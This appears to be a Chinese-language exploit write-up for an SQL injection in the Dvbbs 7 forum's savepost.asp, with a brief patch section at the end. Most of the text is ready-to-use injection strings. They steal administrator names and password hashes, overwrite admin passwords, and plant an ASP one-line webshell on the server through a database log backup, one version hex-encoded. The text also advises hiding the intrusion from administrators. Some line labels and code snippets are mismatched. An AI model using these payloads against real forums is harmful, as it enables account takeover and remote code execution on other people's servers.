一、概述
漏洞介绍:
前几天就听Hak_Ban说有人把dvbbs7的一个注入漏洞给发布出去了,一直也没时间看看,下午跟Edward要了个链接看了看:

本站转贴为:
http://www.eviloctal.com/forum/read.php?tid=22074
看了看风尘浪子的分析,觉得已经分析的挺明白的了,不过群里还是有几个朋友搞不太明白,索性在本地搭环境测试一下漏洞,感谢keng提供程序,呵呵,实在懒得去网上找。

二、漏洞分析
既然是savepost.asp程序的问题,那就打开改文件,风尘浪子已经提到是ToolsBuyUser参数过滤不足,那就看这个变量。
32行,定义变量:
111行,置空
Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting
120行,在参数GetPostType为0时,赋值
ToolsBuyUser = ""
123行,在参数GetPostType为1时,赋值
ToolsBuyUser = "0|||$SendMoney"
139行,在参数GetPostType为2时,赋值
ToolsBuyUser = "0|||$GetMoney"
747行,定义sql
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
745行,执行sql
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
我们看到,在整个获得数据到提交的过程中,没有对ToolsBuyUser参数进行安全过滤,导致了sql注入漏洞。
Dvbbs.Execute(sql)
三、漏洞利用
1、注册用户coolersky
2、选择发表新话题
3、在“选择帖子类型”中选中“论坛交易帖设置”

4、在“可购买用户名单限制:”中写入
修改口令后,重新登陆论坛,若使用123456登陆成功,则说明该漏洞尚未修补。
'将自身用户口令修改为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';--
5、获得前台管理员用户名和口令,分别放在自定义头像和签名中,查看用户coolersky的基本资料即可看到。
6、获得后台管理员用户名和口令
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员'),usersign=(select top 1 userpassword from dv_user where userclass='管理员') where username='coolersky';--
7、通过日志查看后台管理密码
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';--
8、获得数据库名称
coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';--
9、日志差异备份webshell
coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';--
或者
'替换dbname为上一步获得的数据库名称,日志差异备份要db_owner权限!
'替换d:\web\dvbbs7\为当前论坛物理路径,怎么获得别来问我!
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
使用最小asp木马客户端连接即可!
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--
10、直接修改管理员口令
通过5、6、7三个步骤可以获得管理员前后台的用户名和密码,至少密码是16位md5,我们可以通过网络查询或者暴力破解获得管理员口令来登录前后台,但是也很可能没办法破解出口令。
而如果也无法获得论坛的物理路径,那么只好通过修改管理员口令来实现了,当然能不改管理员口令还是尽量避免修改,否则马上就被管理员知道被入侵了。
(1)获得前台管理员用户名:
(2)修改前台管理员口令:
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员')where username='test';--
(3)获得后台管理员用户名:
'假设我们获得前台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';--
(4)修改后台管理员口令:
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';--
(5)登录前台上传mdb构造过的asp一句话后门,后台back为asp或asa文件即可,如何操作不在本文描述过程中。
'假设我们获得后台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';--
通过以上操作,只要服务器支持多语句,那么我们还可以对数据库进行更多操作。
四、漏洞修补
1、从dvbbs下载最新补丁
2、打开savepost.asp文件,将747行
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1
修改为:
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"
即用dvbbs.checkstr函数过滤ToolsBuyUser内容。
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")"
